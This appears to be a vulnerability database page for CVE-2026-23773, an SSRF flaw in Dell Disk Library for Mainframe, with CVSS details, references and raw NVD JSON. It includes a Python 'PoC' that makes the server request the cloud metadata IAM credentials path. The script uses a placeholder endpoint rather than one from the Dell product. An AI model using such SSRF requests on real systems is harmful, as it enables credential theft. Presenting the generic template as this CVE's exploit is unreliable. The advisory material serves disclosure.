CVE-2026-23773

Description

Dell Disk Library for Mainframe, version(s) DLm 8700/2700 contain(s) a Server-Side Request Forgery (SSRF) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Server-side request forgery.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Dell Disk Library for Mainframe DLm 8700

Dell Disk Library for Mainframe DLm 2700

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL of the vulnerable Dell Disk Library interface
# Replace 'target-ip' with the actual IP address of the target device
target_url = "http://target-ip/api/vulnerable_endpoint"

# Malicious internal URL to access (Example: AWS metadata or internal admin panel)
# Attacker aims to force the server to request this internal resource
malicious_payload = {
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

try:
    # Send the malicious request with low privilege credentials
    response = requests.post(target_url, data=malicious_payload, timeout=10)

    # Check if the server responded with data from the internal request
    if response.status_code == 200:
        print("[+] Exploit successful! Server response:")
        print(response.text)
    else:
        print("[-] Exploit failed or target not vulnerable.")
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23773
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23773
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23773/
[4] VulDB https://vuldb.com/cve/CVE-2026-23773
[5] https://www.dell.com/support/kbdoc/en-us/000458131/dsa-2026-091-security-update-for-dell-disk-library-for-mainframe-vulnerabilities?lang=en

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23773", "sourceIdentifier": "[email protected]", "published": "2026-04-29T04:16:40.867", "lastModified": "2026-04-30T15:13:14.230", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell Disk Library for Mainframe, version(s) DLm 8700/2700 contain(s) a Server-Side Request Forgery (SSRF) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Server-side request forgery."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000458131/dsa-2026-091-security-update-for-dell-disk-library-for-mainframe-vulnerabilities?lang=en", "source": "[email protected]"}]}}